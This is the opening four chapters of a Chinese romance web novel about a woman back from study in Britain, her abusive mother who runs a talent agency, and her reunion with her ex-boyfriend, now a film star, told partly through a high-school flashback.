《共轨》
1. 回国
【我落地啦,终于回国啦】
【话说国内发展好快呀,飞机上看着全是高楼大厦】
【机场也扩建了,没人带路还真晕头转向】
七月中,孟知卿英国硕士毕业回国。
英国的天一星期内四天下雨两天末日,能有一天见着太阳都算是上帝恩赐。
回国却有满目新绿,夏蝉长鸣,孟知卿怎么都觉得亲切高兴。
【机场人员让我出了出口再打车,但我想】
一句话没敲完,对话框弹出一条语音通话,“发那么多消息想死啊,”
盛岚的声音径自传出,“落地了该回家回家,该吃饭吃饭,发这么多废话脑子有病啊,都说了在开会在开会还一个接一个发,会是不是不开了,工作不做,项目也不处理了就听你废话是吧,不赚钱你吃屎啊。”
“对不起,妈妈,”孟知卿低下头,咬紧下唇,“我以为你免,”
“你不是嫌我免打扰收不到消息,不打开了,打开了你倒是发点正事,闲得蛋疼讲这么多废话,赶紧去死,跟你爸死一个坟里去。”
说罢直接挂断,孟知卿举着手机久久放不下去。
又一架飞机落地,出口处人流多了起来。
外国游人搁置行李围到一处,“Chinaalreadyhasmobilepayments,etcashisOK.”(中国已经有手机移动支付了,忘带现金也没事。)
留学归来的孩子跟亲人们团聚,“诶呦辛苦我大宝贝了,吃大餐去。”
往往匆匆,孟知卿还没从那些话里缓过神。
她其实已经习惯了盛岚的说话风格,习惯她对自己语言粗暴,恶声恶气,一言不合指爹骂娘,仿佛自己不是她亲生的,她的出生就是个天大的笑话,天大的错误。
责骂的话也听多,听惯了,只是平时没有这么狠,这么恶毒。
平时,她确实也不会轻易联系她,今天权当自己犯贱了。
摁灭手机深提一口气,她推一大一小行李箱朝机场外走。
机场外头一望无云,天空碧蓝如洗,各色的绿延绵着,多美好啊,烦这些做什么。
她加快了步子。
谁也未曾想一路顺顺当当,临门口却被门槛绊了一跤,跟没长眼似的。
大行李箱上的行军包就势滚下去,她眼疾,伸手去接,太重,撞了手腕还是掉到地上。
“嘶——”
她停在那扭手腕,很瘦,个头不高骨架也不大,手腕能有一根红皮甘蔗粗就不错了。被二十多斤重的行军包撞一下,立刻就红了。
“留学几年留成脆皮了?”
一道男声,伴随一只骨腕突出的手伸过来,毫不费力拎起行军包搁到大号行李箱上,再把两个箱子一并提过门槛,稳在外头。
“撞疼了?”
男人压着一顶鸭舌帽,戴着黑色口罩,个头很高,看不到脸。
孟知卿没认出是谁,所以男人伸手想牵她手腕时,别开了,“谢谢。”
谢谢他帮自己捡了东西。
“孟知卿。”
男人伸过来的手定在那,沉声喊出一句。
孟知卿奇怪,不过,也算听出些许熟悉,像某个高中同学?
抬眼,正对上男人冷淡的视线。
“宋聿?”
“我变了?”宋聿不冷不热问,仿佛质问,质问她自己又没变,怎么会认不出,即便戴着口罩帽子,声音至少相近,声音也听不出?
“……一些。”
孟知卿瞧那帽檐下的眉眼,除了眉修过比从前精致有型一些,其余都没变,人还是那人。
若非要说变化,大概眼神不一样,较高中更成熟寡淡一些,长大了,好看纯真的眼睛里多了许多信手拈来的从容,仿佛能随意切换情绪。
也是,如果这点随意切换情绪的本事都没有,也不能年纪轻轻拿遍各大奖项,荣获影帝名头。
“你,”
“宋聿?是宋聿?”一道女声打断他们,激动地自一旁挤过,探头到宋聿帽檐底下,“是明星宋聿吗?”
“不是。”
宋聿冷冷回答,拖过孟知卿的行李往机场前的阔路走,那里来来往往停了很多出租车,不少人等在那准备打车离开。
“是不是宋聿啊,我看着好像。”女声又问到孟知卿,孟知卿收回视线神色淡淡,“重名而已。”
“重名怎么也这么帅,宋聿是不是谈恋爱了。”女声扣住孟知卿质问。
都说人一旦踏进娱乐圈就会没了自我,水能载舟亦能覆舟,靠着粉丝喜爱火起来,自然也得顺应粉丝期许继续行驶下去,逆流而行,只怕分崩离析,墙倒而众人推之。
“不知道,”孟知卿看向她,“不过你也觉得他挺帅?”
当初就是因为这份帅,孟知卿几乎没花什么功夫就轻易喜欢上了他。
一切水到渠成,像天定。
不过高三毕业,高考成绩出来前被安排出国留学了。有好好道别,也有盛大的送别仪式,不算不告而别,跟任何人也都没有不告而别。
只是异国一待六年,期间从未回国,任何关系都会随时光消散。
虽然大一时候宋聿来过一趟英国,还是没能阻止距离产生的猜忌,看不到彼此情绪,占有欲无法释放,精神压力他们彼此都很疯。
孟知卿是在读硕那年听说宋聿出道了的,名牌大学毕业自带学霸人设,长相属于温柔又有力量的小狗类型,装一装眼神很纯粹,他也很会装。
纯粹小狗出演疯批男二一战爆火。
孟知卿学业很忙还是抽空关注他,又总能从他挑选的剧本里看到他们从前的影子。
“高中卖小吃那条街。”
摆脱追星女声后,宋聿示意路边的灰蓝色保时捷,说送她。
她哪敢拒绝,也没必要拒绝,一来妈妈不会管她,妈妈的助理乔恩此刻肯定也忙着没空管她,二来打车不知道等多久。
一路无话,错了三个高速路口车驶进一条栽满香樟树的小区路。
宋聿出声介绍。
孟知卿:“……”
“嗯,”她抿抿唇,琢磨要不要开口,“带我来这做什么。”
还是开了口。
宋聿:“不做什么。”
却放了安全带把车靠到路边,“开累了,下去歇会。”
孟知卿:“……”
不过她不会开车就不能霸总地凑过去,“男人,不会开滚后座休息去,我来。”
只能要么待车里,要么一起下去。
地表温度近四十,宋聿下车前把空调关了。
“……”
她只能下车。
“去哪歇?”她漫无目的地打量,好像这是个极其陌生的地方。
但其实这里连树干,树上落下
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果子被踩烂的痕迹都一样,一点都没变。
还是那条路,白天卷帘门紧闭,人迹罕至,晚上小贩扎堆,烟火气混着油烟味。
首都一中就坐落在这条路往北两个红绿灯的地方,矗立着一只橙黄色大笨钟像个地标。
孟知卿转学过来租的房子也在这条路上,或说这条路其实就是梧桐苑外头的沿街商业,只是靠近CBD白天人人都忙,形成了独有的经济体系。
那时候她一直一个人住,一个人来回,所以宋聿每晚都会送她。
他们每晚就是在这条路上难舍难分,逛逛吃吃,从少年到成年,陪伴彼此内心最孤独的时候。
挺值得怀念的。
“你去哪。”
还是没忍住,孟知卿喊住是要一条路走到底的宋聿,“你脸光着容易被人认出来。”
“那你认出我了么。”宋聿闻声回头舒展双臂,倒退着继续往咖啡店的方向,“宋聿。”
孟知卿:“……”
这人记仇的本事真是从高中到现在,一点没变。
就因为她没有一次性认出他,所以迂回辗转特地带她到这回忆。
“认出来,早认出来了,”孟知卿从没玩过他,只能服软,“快回来吧,有人来了。”
咖啡店里有几个穿一中校服的学生推门而出,洋洋洒洒迎着烈阳笑,“下星期还约吧,凑在一起学习效率太高了。”
一个矮个子女生说。
“当然,我都没想到居然跟年级第一一个解题速度。”
个子高一点儿的女生接道,说着瞥一眼人堆里最显眼的少年。少年单肩背包,自始至终垂着头,听她说话时没什么反应,说完话反而抿着唇偷偷笑。
真美好。
跟曾经的他们一样,又不一样。
一样的是都穿着一中校服,都乐意来这家咖啡店蹭空调解题目。
不一样的是,他们没这么含蓄。
“又看上哪个小男生了?”
宋聿不知道什么时候绕到人身后,居高临下忽然说话吓孟知卿一机灵,“你的审美还真够统一,只喜欢个高长得帅的?”
孟知卿:“……”
“你歇够了没,歇够走了,回去还要收拾。”
“嗯哼,”宋聿完全不在意,还沉浸在方才的仇恨里,或者,更深的仇恨里,“去那坐五分钟。”
他指咖啡店隔壁的长椅。
生锈斑驳,香樟树阴影落下勉强将它遮盖,六年前还是条崭新的椅子。
那时任凭街市上人声嘈杂,他们便是占据这条长椅,彼此交心,彼此触及对方灵魂的更深处,最深处,成为彼此不可或缺的一部分。
像鱼不能离开水一样,她以为他们哪怕世界末日,在光年之外都不会分开。
“还记得么,”宋聿可能也回忆起过往种种了吧,热风拂过,眉宇间记仇的意思淡了很多,“光棍节那晚你喝醉了。”
孟知卿:“……嗯。”
不过是段黑历史,抱着某人脖子死不撒手,说亲一口就放他,不然跟自己回家让自己摸腹肌。
“比利应该有吧。”
孟知卿:“?”
侧头看他,什么表情都没有,神色凉凉,薄情寡义。
“五分钟到了,”她别过眼起身,“你不走我打车。”
“孟知卿,”被沉声喊住,“听说你在国外跟小男友同居了,是么。”
2. 红了眼
孟知卿的长相属于典型的好生好养富家女,肤白貌美,一米六七大长腿,人群里一眼望到,挪不开眼。
身上却有一种本不该属于富家女的韧劲儿,仿佛什么环境都能生存,在任何环境下都愈发有攻克的魄力。
你强她就强,是藏在她身上极为隐秘的品质。
所以当宋聿问出那句话时,她当下并无情绪,回了家,宋聿送人送到底要进门时被她一个闭门羹喂到嘴里。
“咣当”一声,震得半个楼道都颤。
“行李没拿。”宋聿在外头顿了好一会儿。
孟知卿在里头也咬了好一会牙,开门,抢行李,“再见。”
次日还早的时候孟知卿被外头嘈杂的说话声吵醒,空调温度刚刚好,是周日,又刚回国没倒时差,硬生生赖到十一点多才起。
房子套内面积一百三十多,三房两卫,妈妈前两年买来给艺人暂居,不想那艺人塌房塌得连亲妈都不认识,后来送谁谁都不要,说晦气。
妈妈便送了她,“赚钱买房给你住这么操劳能不能记着点我的好”。
这是妈妈当时原话。
孟知卿还应和来着,只是几分真心就不知道了,母女之间能相处成这样,实在天下难找,难得。
“咣当!”
不晓得什么东西撞了自家大门,孟知卿一口牙膏沫差点吞下去。
“叮铃——”
门铃紧接着被摁响,她只能迅速漱口去开门。
隔壁在搬家,妈妈过去说一直没人住,如果她回来一个人住着害怕,可以买下来送给别的艺人,好有个人陪她。
一时一时的,高中时候她一直一个人住也没见她说要管。
说到底还是归功宋聿,妈妈一直独自经营着一家经纪公司,前几年效益一直不好,自宋聿签进来后一剧爆火,开始走上坡路,年底效益更是直逼各大豪门世家。
生意好妈妈心情自然也好,会乐意多跟她吹两句,多卖两点辛苦。
“早。”
宋聿一身夏季衬衫西装从头黑到脚,领口呈V脖子上挂着一条古铜色金属链,不长不短的黑发做了小卷耷拉在脑袋上,脸上妆也齐全,没有过度追求白皙,尽量用靠近肤色的粉底薄薄铺了一层,鼻子周边还揉红,弹了一些雀斑。
像个矜贵小狗。
要么要去拍广告,要么刚拍完回来。
“有事。”
公司距离这开车只需十分钟,他拍完顺路过来太顺路了。
一晚过去,昨天那些不愉快孟知卿也早与周公梦蝶时和盘托给周公,新的一天开始,她就是崭新的她。
“拜访新邻居。”宋聿不冷不热地说。
孟知卿:“?”
探头出去望望,隔壁大门敞开,穿着统一蓝色制服的搬家师傅正往里头搬沙发,那沙发拐角似乎还被蹭掉了半块漆皮,撞自家大门撞的。
“你买了?”
“不,”宋聿似笑非笑,“盛总买了,送给我。”
孟知卿:“??”
“她听说我们高中谈过,特地托我来照顾你。”
将“谈过”两个字咬着牙蹦出来。
孟知卿:“……”
贼一样瞥两眼隔壁,“你以为搬家师傅不追星,不认识你宋聿吗,说不定他们谁的女儿就是你粉丝,你一定要这么大张旗鼓说,”
下一秒,宋聿欺身而入。
小指轻轻一勾将门带上,他揽上她的腰,“你担心我。”
孟知卿:“……”
“你可以这么认为吧,”挣扎,却反被人抵到玄关墙上,“当我不知道?”
宋聿还喷了香水,柑橘的味道清爽干净,贴近时整个人庞然放大。
他看着她,就看着,像想用眼神将她吃掉。
“你是怕我塌房,万佳股市下跌,倒闭了。”
孟知卿:“……”
那她可真怕,倒闭了她就要去吃屎了,妈妈心情肯定也会变差,到时候天天骂她,要么一无所事,要么一天天就知道添麻烦。
“嗯,所以千万别塌。”
是必要挣脱,她力气比方才大一倍。
两只手腕全被钳制摁到墙上。
“孟知卿,”
宋聿哑着嗓子喊出一声,半晌才接上一句,“看不懂你。”
孟知卿还没从他以小人之心度君子之腹中回过气,她只是觉得他一个福利院孤儿出身的人能有今天这份成就不容易,怕他一不小心败坏了。
直白对上视线,她冷声,“那是谁复杂了。”
到底是她真的复杂到让人看不懂,还是有人被娱乐圈染缸染了。
“他是不是吻过。”
宋聿突然没头没尾问一句。
孟知卿:“?”
感觉身体离自己越来越近,钳手腕的手掌也松开,抚上自己的唇。
轻柔地,一下一下柔柔缓缓。
他的手滚烫,一双眸子也被欲望吞噬游离泛红。
“嗯,吻过。”
孟知卿不冷不热地道,“还做过,你满意吗。”
宋聿的动作停在那,抬睫盯向她。
孟知卿毫不回避,甚至挑眉示意可以放开了吗。
宋聿眼睛红了。
一秒钟而已,就红了,眼下一片殷红混着水色,在她两只眼睛之间来回切换,又不知道最终停在哪,停在哪是真的。
“……你看不到我的声嘶力竭吗?”
他问,声音有些发颤。
孟知卿的睫也因此颤了颤。
“我只看到你无理取闹。”
他们的异国恋能坚持到大三属实孟知卿没想到的,大三那年英国房东的儿子比利刚好大一,没了升学压力人也变得轻松活波起来。
不知道哪个点让宋聿关注到了他,也许大一来时比利给他们送过一盘水果?说笑时盯着她一刻不挪眼?
而混血男孩儿又有个年轻时都貌美的特点,宋聿那时自己都说自愧不如,小男生太帅了,帅得惊为天人。
也许是不经意间吧,长时间的异地让两人之间的生活出现差距,话题出现转移,她在自己都不清楚的情况下,提了很多次比利,搜索引擎搜索下来一系列的满怀欣喜。
她自己都开始怀疑。
但其实不过因为他就在自己身边,时时刻刻能照顾到自己,如果理解也一定理解她不过感激,不过觉得被温暖,并无其他。
可宋聿不理解,消息一来不是疑神疑鬼,就是玩笑质问,你们今天又在一起了吗,又一起去图书馆了?还看电影了?
孟知卿每回都认真回答,认真自证,一遍一遍拍视频,解释即便去也是因为公事,因为礼貌,因为住着人家的房子不好推辞,他平时又对自己照顾有加。
他说别忘了,你也是因为我对你照顾有加,才喜欢上我的。
孟知卿想说不。
但具体说说喜欢的原因似乎又显得更加苍白,因为你长得帅学习好,是一中的天之骄子吗。
即便是,他又会认定她见多了外面的世界只有在见识浅薄的时候才会认定一个人,外面世界大了,要什么有什么,什么都是一抓一大把。
所以两人都有点疯了,吵到后面不知所云。
分手来得意料之中,他们都还不太了解彼此。
况且,太少年的时候心是浅薄的,很容易就触及深处,岁月蹉跎之后,
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人与人之间会树起壁垒。
重新洗漱出来时,宋聿正坐在沙发上调投影仪。
乔恩负责盯装修的时候特地问过孟知卿,客厅不要电视需不需要装个投影仪,投影仪屏幕大,收起来也不影响立面造型,就要了。
昨天看到还挺想试试,收拾房间没来得及。
“吃早饭了吗。”本想问宋聿是不是准备放电影,话到嘴边话锋急转。
方才那事不了了之,孟知卿没心没肺,刷个牙是忘得差不多了,那记仇能记一辈子的却仿佛越想越气,坐在那从背影都能看出满身戾气,如果比利此时在这,孟知卿觉得肯定会被他往死里打一顿。
他打起架来也是不要命的,孟知卿可见识过。
“过来。”放了部自己最近上映的电影,宋聿喊人。
孟知卿也不知怎么了,可能心虚吧,“干什么。”
乖乖过去。
宋聿扯住她手腕将她扯坐进沙发,人挨近,“说说,说说你是怎么读了硕要住校,还每个周末跟你小男友宴乐度日的。”
孟知卿:“……”
“你不是已经清楚了。”望向屏幕,电影开始宋聿就在淋雨,望着一个背影凄凄惨惨,痛这分手来得太猝不及防。
“想听你说,听你亲口说。”宋聿捏着她下颌把她脸掰回来。
耳边响起宋聿的台词,声嘶力竭的,“知楠,你真的不要我了吗。”
“我不。”孟知卿莫名硬气,惹得宋聿笑了下。
“如果一定逼着你说呢。”
“那你拿把刀,”
孟知卿垂眼示意自己胸口,“捅了我吧。”
宋聿:“……”
不仅仅是因为不知道谁告了密害她刚回国就被讨伐,还因为,两人已经分手,分手三年多了,他凭什么讨伐自己,自己合该守着回忆等他吗,凭什么。
“可以。”
宋聿点点头,笑得阴森森的。
而后捡起茶几上一颗橘子要剥,不在状态,扣了很久也没扣开。
“吃早饭了吗。”孟知卿顺势起身。
“孟知卿,”
又被宋聿拉手腕,“你们现在分手了吧,你得到了什么,”
他侧眸望过来,“他喜欢你吗,对你有最基本的尊重吗,知道什么叫尊重吗,确定未来了吗,确定未来能给你什么了吗,什么都没确定就敢把你往床上领?他能是什么好东西,能,”
“得到了快乐。”
孟知卿打断,因为听着意思越来越不对劲是要打飞的去英国揍比利一顿。
“而且你凭什么觉得我们当时没有幻想未来,只有你宋聿谨慎过头,复杂过头了,不许我想一想,你根本不了解我,”
她轻易就挣脱出了手腕,“我只需要简单的快乐,在当下就行。”
宋聿眼睫颤了颤。
他还带着那矜贵小狗的妆造,烈阳斜过落地窗,空调温度不高不低。
只是现在不矜贵了,看起来有点受伤。
“你这么想?”不确定地问出一句。
孟知卿感觉方向错了,像作文一样,写着写着偏题,也跟他们曾经的争执一样,争着争着不知所云。
这不是重点,她也从没因为宋聿的谨慎和慎重有过为难情绪,反而高兴,觉得自己被他好好安排了,被他慎重考虑了,得到了一个人全心全意的喜欢。
“吃早饭了吗,”她转移话题。
宋聿直直起身再牵住她手腕,拉她走,“去哪。”
孟知卿跌跌撞撞跟过去。
“你房间,”宋聿淡声,“简单的快乐,我现在就给你。”
孟知卿:“……”
滚啊。
3. 发疯
“盛总还在开会,你先坐这等会。”
说起来孟知卿这半辈子都在被妈妈安排,安排转学,安排出国,现在又安排工作。
由乔恩领路,孟知卿坐到会议室隔壁的接待间,两张真皮沙发,茶几上摆着万年不变的丑橘。
她现住的清堂府距离万佳有九十公里,开车十分钟左右,可她不会开车,又被宋聿耽误一天没来得及买电驴,只能早上五点多起床,一路小跑过来。
现在口干舌燥不说,满头是汗。
她捡起一个丑橘剥开,顺便抽几张纸擦汗。
“脏东西,从小就脏。”
门口传来熟悉的骂声,“才让等几分钟,就把招待室搞得乱七八糟,是不是所有小孩出身都自带特异功能?”
盛岚走近,旁边还跟着个身穿浅蓝色西装的职业女性,露姐,万佳名牌经纪人,每年塞她一打新人,能带出半打,业务能力一绝,属于各大经纪公司争抢想挖走的对象。
“不晓得,我家那个不也是?”
不过她跟盛岚是高中同学,盛岚对她有知遇之恩,在她最落魄的时候给开了过万月薪,又手把手教她做经纪人。
说实在的,也就对孟知卿,盛岚对她手下员工还都挺好的,哪怕随便抓来一个实习生问问,都说盛总心善,心软,很好说话。
大概打心底里看不上她吧。
“怎么办,”
盛岚示意乔恩去门口守着别让人进来,意思安排孟知卿进公司不希望别人知道,希望她以最普通的身份,去做最基础的事。
“是想着以后让她接手公司的,可你看她这死样,去国外历练了六年,还是半死不活,也不知道不给生活费怎么没饿死。”
孟知卿这会低下了头才透过透明茶几看到底下的垃圾桶,倾身勾过来,慢吞吞地清理桌面,尽量降低存在感。
不给生活费她当然可以自己出去兼职啊,学校图书馆整理员,东西食堂打饭阿姨,校内校外超市收银,牛排意面店服务员,哪一样不能赚到钱,手长来又不是非向人伸不可。
露姐正忙着回微信,闻言头也没抬,“意思才毕业,一窍不通?”
“她能通我天天烧香拜佛。”
露姐抬头了,“那恕我无能啊,你看我还有多少工作没做,”
举起手机递到盛岚跟前,“宜兰那边也开始催了,问艺人怎么还没到,老油条得我亲自追着屁股喊,马上就得走。”
“等等,”盛岚拦住她,“就当条狗带着,不耽误你事,”
“主要我看不惯她,跟着我我心脏疼。”
露姐:“我心脏不疼,我命不是命。”
盛岚笑了,“是命,年终奖翻一倍。”
“好叫卿卿是吧,”露姐回头,话语里带着笑,可面上却像不会笑,严厉惯了,“走,对接新人试戏来不及了,派你去催老油条,”
揽过她肩膀勾着出门,“催不动找你妈支招啊,我心脏不好。”
速度很快,下到一楼指向路边那灰黑色保姆车,“小陈在里头,让她跟你说下工作内容。”
下一秒,车门打开下来一个套着薄衬衫的女生,举着手机冲她们挥手。
是露姐边跟她说话,边通电话,见缝插针,将事情安排得一项接一项,绝不在她身上浪费一丁点时间。
“去吧。”
说着推下她后背,不知道是不喜欢还是嫌她磨叽,走路太慢太耽误时间。
实不过她早上跑了九公里,坐了一会腿软了,走不动路。
一个踉跄,她顺着台阶栽下去。
“诶呦,慢点哦。”露姐只说了这一句便朝另一个方向离开了,风风火火,高跟鞋敲打地面“啪嗒啪嗒”。
“没事吧。”小陈接住她,领着上车。
脸色太难看,神情太恍惚,小陈干脆帮忙调了座椅,然后问:“你今年刚毕业吗,多大呀,怎么到露姐手下做经纪人了?”
“二十四,英国硕士刚毕业,看到招聘就来了。”
孟知卿一个字一个字往外蹦,半晌缓不过神。
“……行,那我跟你说下工作内容吧,”小陈掏出一沓资料递过去,“经纪人守则,露姐让你先自学,后续她应该会再安排,我只是个艺人助理,不太懂,”
她笑笑,继续道,“然后你今天跟着我们,一会等宋哥录完节目,会去百新拍广告,拍完有个采访,十几分钟,结束就可以下班了,比较轻松,”
她继续笑笑,有些尴尬,“不过宋哥本人可能比较懒散随性,不太会抓紧时间,百新那边催得紧,等我们过去他应该也录完了,就得催他转场,”
听到这,孟知卿回过神了,还莫名有种怪异的预感。
露姐在招待室时说这人是老油条,虽骂却并没有生气的意思,显然这人为她创了不少收。
懒散随性,又姓宋。
“宋哥,宜兰广告在催了。”
化妆间内刚录完节目的嘉宾一边换衣服一边说笑,乱糟糟的。
宋聿就坐在正中间的化妆台上,由化妆师帮忙取下脸上的亮片,同一旁的艺人有一搭没一搭说话。
“晚上去聚一聚嘛,好久没去了。”那艺人撒娇。
宋聿偏眼,“不去,赶着回家做饭。”
“做什么饭就你一个人,你家来客人了?”
“没,”宋聿似笑非笑,“养了只会咬人的猫,回家教育它。”
孟知卿:“……”
昨天宋聿说什么也要拉着她去房间给她简单的快乐,她挣脱不了到了房间锁了门,拉了窗帘还没想出对策,喊也喊不听,打也打不行,只能咬了。
把他手臂咬出了一道青紫牙印,给他脸颊也来了一巴掌。
“宋哥,”
绕过众人她被小陈推着到宋聿身边,“宜兰广告在催,该走了。”
宋聿闻声抬头,化妆师很识相地让到一边不挡他视线。
并没有诧异,看到孟知卿他只是简单扬了扬眉,“知道了。”
不冷不热又回头继续看手机。
孟知卿:“……”
不愧是影帝,真会演。
“诶宋哥,”隔壁艺人忽然扯他衣摆,“这是你新助理吗,以前怎么没见过,还是万佳让你带的新艺人啊,这么漂亮。”
“都不是,”孟知卿忽然提气仿佛对工作充满热情,如妈妈所愿积攒人脉,“实习经纪人,姓孟。”
艺人受宠若惊,忙站起身,“好好不用这么客气姐姐,实习经纪人的话未来应该前途无量吧,过两年我跟公司的合约也到期了,不知道姐姐能,”
“没档期,”化妆师取完亮片收拾东西,宋聿站起身挡在两人之间,“万佳新规定,一个经纪人只能带一个艺人,她名额满了。”
冲弟弟笑笑,“先走了,回见。”
弟弟:“?”
什么时候的事,他怎么不知道。
最终赶在宜兰广告部发飙前到了拍摄场地,百新大楼四号摄影棚,棚内拍摄设备早已准备就绪,就连居家场景都安排好了,布置了一个客厅的场景,拍摄沙发广告。
“露姐来电话了,你送下衣服再催宋哥换下吧,”
小陈急匆匆跑过来,将宜兰准备好的拍摄服装递给孟知卿,“他好像比较听你话,新手保护期,麻烦你了。”
意思孟知卿刚来,宋聿也许是想树立什么崭新形象,也许想给新人留个好印象以防实习没过出去乱说,所以一直到现在都一喊就来,一说就动。
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“……行。”反正也确实闲,看别人忙自己闲还莫名发慌,孟知卿接过,“赶紧接电话吧。”
她觉得露姐才是那个更难伺候的吧。
拍摄服装是一套居家睡衣,宜兰家居跟一个内衣品牌联名出的,所以拍摄也要求做出慵懒随意,在家里的感觉。
所以,宋聿又在卷头发了。
昨天上网孟知卿学到了一个全新的词汇,形象单品。
他们说卷发就是宋聿的形象单品,只要一卷,任何偶像剧男主都弱爆了,谁都不能阻止小狗炸街。
“宋哥,”
看着化妆师卷完她才移步宋聿身边,化妆师已经开始改妆,往他下眼睑晕染红色眼影营造湿漉漉的困倦感。
“嗯?”
宋聿偏头。
“眼角不要跳哥,跳了容易错位。”化妆师说。
宋聿:“……”
孟知卿:“……”
她也不是很想叫“宋哥”这个称呼。
“化完妆记得换上。”走近将睡衣递给宋聿看眼,道。
“衣服还没换?”化妆师听罢忽然拔高音量,“套头的还是纽扣的,头发才卷好。”
“纽扣。”孟知卿本准备落座隔壁,闻言犯错一样站在那。
“这么大声做什么,”宋聿皱了眉,可能觉得声音太大,太吵了,“没换现在换不行?拿来。”
朝孟知卿伸出手。
孟知卿看看化妆师,又看看宋聿的手,不知道是不是可以递过去。
化妆师被说得没了声响,孟知卿便先递去睡衣,睡裤等一会。
不同于电视台的化妆间,几个人挤一间,这里分隔小间,几平米专属一个艺人。
宋聿开始解钮扣。
一颗两颗三颗,不紧不慢尽量不打搅化妆师工作地脱掉衬衫,套上新睡衣。
孟知卿看到了,他所谓的腹肌,嗯。
然后他开始解裤腰带,忽然停住。
孟知卿:“?”
递去睡裤。
宋聿却没接,看着镜子里的她,“只有一条短裤,确定还要盯着看?”
孟知卿:“啊?”
那表情仿佛,实在想看回家看,别在这里犯馋。
“……”
“我去问问小陈接完电话没。”
接完了,问宋聿有没有按时到场。
到场了,拍摄也进行的非常顺利。
孟知卿一直在旁观摩,不得不说一别六年,曾经那个在主席台下演讲的少年真的配站上更大的舞台了。
且不说表现能力,光对人话语的领悟力,孟知卿就是没有的,很多时候摄影师说了什么,她都反应不过来,还没想明白,宋聿已经用行动回应,得到了摄影师的,“对对对,就是这样。”
少年的成功绝非一时偶然。
所以,前段时间上映的电影再一次火爆全网,也绝非偶然。
拍摄结束,电影制片公司就场地给宋聿来了一场深度采访,问及剧组事宜,包括演每个片段时的感受,心路历程,如何去演。
“那么宋聿先生,可以再为我们复刻电影里发疯时候的场面吗,网友都传成神了,包括您如何拿捏的,既疯批又深情?”
“当然,”宋聿一一回答,自始至终礼貌温逊,“还是那句话,真听真看真感受,发疯,就想想曾经让自己难以释怀的事,不用活得太通透,小疯宜情,”
下一秒,吼出一个名字,“不要以为我是没人要才等你,非你不可,你有恃无恐,”
再下一秒,看向孟知卿,“其实我真的非你不可,你不要跟旁人手牵着手。”
“或者,”
“你给我栓个绳,当狗带在身边吧。”
4. 崴脚
八月最后一天。
盛夏的滋味没有消减半分,骄阳如火,烤得柏油路七窍生烟。
“你再看看确定什么都不缺,或者还要添点什么,我一道带来。”
乔恩人已经开了大门,还是停下说最后一句话。
孟知卿只得再环顾一圈新租的房子。
她刚转学,转来首都一中,距离别墅区十万八千里。
盛岚美其名曰让她学会独立,实则嫌她烦,生意忙更不想搭理她,给在学校附近租了间套房,叫她一个小姑娘,独居求学。
“拖鞋,没拖鞋。”
孟知卿指着乔恩边上的落地柜道。早上进来时整间套房像蒙了一层灰,忙着打扫卫生他们谁都没留意日用品齐没齐,因为是家里做了几年的老保姆准备的。
“怎么有双凉鞋,房东的吗?”
不过柜子上倒是有一双松糕底窄面凉拖,香奈儿底标,底有五六厘米厚,“好像是妈妈的,薛姨收拾东西的时候装错了吧。”
举着鞋打量。
刚好换上,脚都闷出汗了,凉快凉快。
“行,再带两双拖鞋,”乔恩终于推门出去,“我晚上过来,你明天开学是吧,那,你今天午饭怎么办,”
“啧,盛总是真不管啊,给你钱了吗,要不你跟我,”
“不用,我还不饿呢,”孟知卿把换下来的运动鞋拎到卫生间泡水,打扫了一上午,小白成小灰了,“给钱了,你就放心吧,妈妈说不管也只是嘴上说说,肯定不会让我饿肚子。”
乔恩:“行。”
他是个马来西亚男人,个头不高,微微有些胖,面相很善,一看就是个爱操心,会非常负责合格的总裁助理。
门轻轻阖上,诺大的套件瞬间趋于平静,阳光透过纱窗晃进,蝉鸣在树木间嘶聊不止,还是不能慰藉这恍然而来的孤独感。
孟知卿洗把手从卫生间出来。
往后不会有人追在后头唠叨,不会有人一进门就恶语连珠,更不会有人在自己想洗澡时逼着写作业,想写作业时骂着吃饭。
想想。
还挺令人高兴的。
换套衣服揣上手机,她带门出去。
早已经饿得前胸贴后背,酸水在胃里翻涌了。
只是不想麻烦别人,也不想成为谁的麻烦。
一路乘电梯下楼,岂料小区外围一排沿街店居然一个都没开,卷帘门一拉到底,上锁的上锁,黑灯的黑灯,数家店铺,只有一家咖啡店?开着?
小小年纪喝什么咖啡,她干脆过红绿灯往学校的方向去。
香樟树茂密而盛大,独特的气味像药草沁入人的心脾。
一条红绿灯之隔,这条街明显多了许多烟火气。
是因路口第一家是首都银行?还是对面有家看不到边的菜鸟驿站,或者时不时进人的地下菜市场会有许多人到这儿吃饭?
还有一家便利店。
总算有个她想进去的地方了。
擦擦汗,孟知卿推开便利店大门。
一阵空调风清凉袭来,伴随清脆的门铃音乐。
里头原本的人声顿了一刻。
入眼是琳琅货架,以及收银员硕长的身型,穿着黑色短袖倚在柜台上刷题,头发松松软软的,闻声抬起头,上下打量她。
孟知卿不自觉收起脚趾,还穿着妈妈的凉拖,但因遗传原因,小脚趾是蜷曲的,像条白胖的毛毛虫,趾甲只有米粒大小,跟旁人不一样。
所以要藏起来。
“欢迎光临罗森。”男生浅鞠一躬,话落,里头的人声也重新热闹起来。
“嗯。”孟知卿冲他点点头,逃跑似的往里面去,去到开放式饮料展示柜。
里面也不大,展示柜边上固定了两张餐桌,摆了几个凳子,全坐了人,三男两女,一男一女年纪比较小,刚上小学的样子,其余三个看起来跟她差不多大。
可能是,一中的同学?
“所以我说下回别带齐林那逼,他不会踢,”
正说话的是一个身材魁梧的男生,小麦肤色,栗子头,看起来不太好惹,人炸,声音也炸。
“呐,这样,”
他对着空气比划,勾起两条腿一跳,仿佛有个球顺着飞了过去,手指划一道弧线,“叫彩虹过人,球落对面脸上他告诉我叫彩虹过人,过什么人,队友吗,还跟我说学内马尔,我说内马尔知道吗,你这么侮辱他,”
坐着的几人全笑起来,他继续道,“关键这球落对面也就算了,他自己还栽了个狗吃屎,吃了一嘴草开始喊,桥山桥山,我去吐会你防一下,栽下场吐草去了,我真,”
几位笑声更大,连那两个小的也脆声脆气地喊起来,也不知道听没听懂,反正孟知卿是没听懂,只感觉男生蹦起来的时候整个饮料柜都震了下。
“还有你们知道他怎么防守吗,”
听了笑声男生仿佛更来劲,“呐,相扑。”
伏下身子左右晃,突然往左,又突然往右,脚还跟着伸左伸右做拦球动作,灵活得很。
几人又被逗笑,孟知卿这会儿已经习惯他们吵闹,专心挑饮料,手上抱了五六罐,还想拿最边上那听装的雪碧。
“咣当。”
一只脚冷不防伸到跟前,踢了她的松糕底,一歪,一滑,脚踝着地,她整个人失去平衡直直倒下。
声势浩大,瓶瓶罐罐滚了一地,牙也被罐子嗑了。
“唔。”
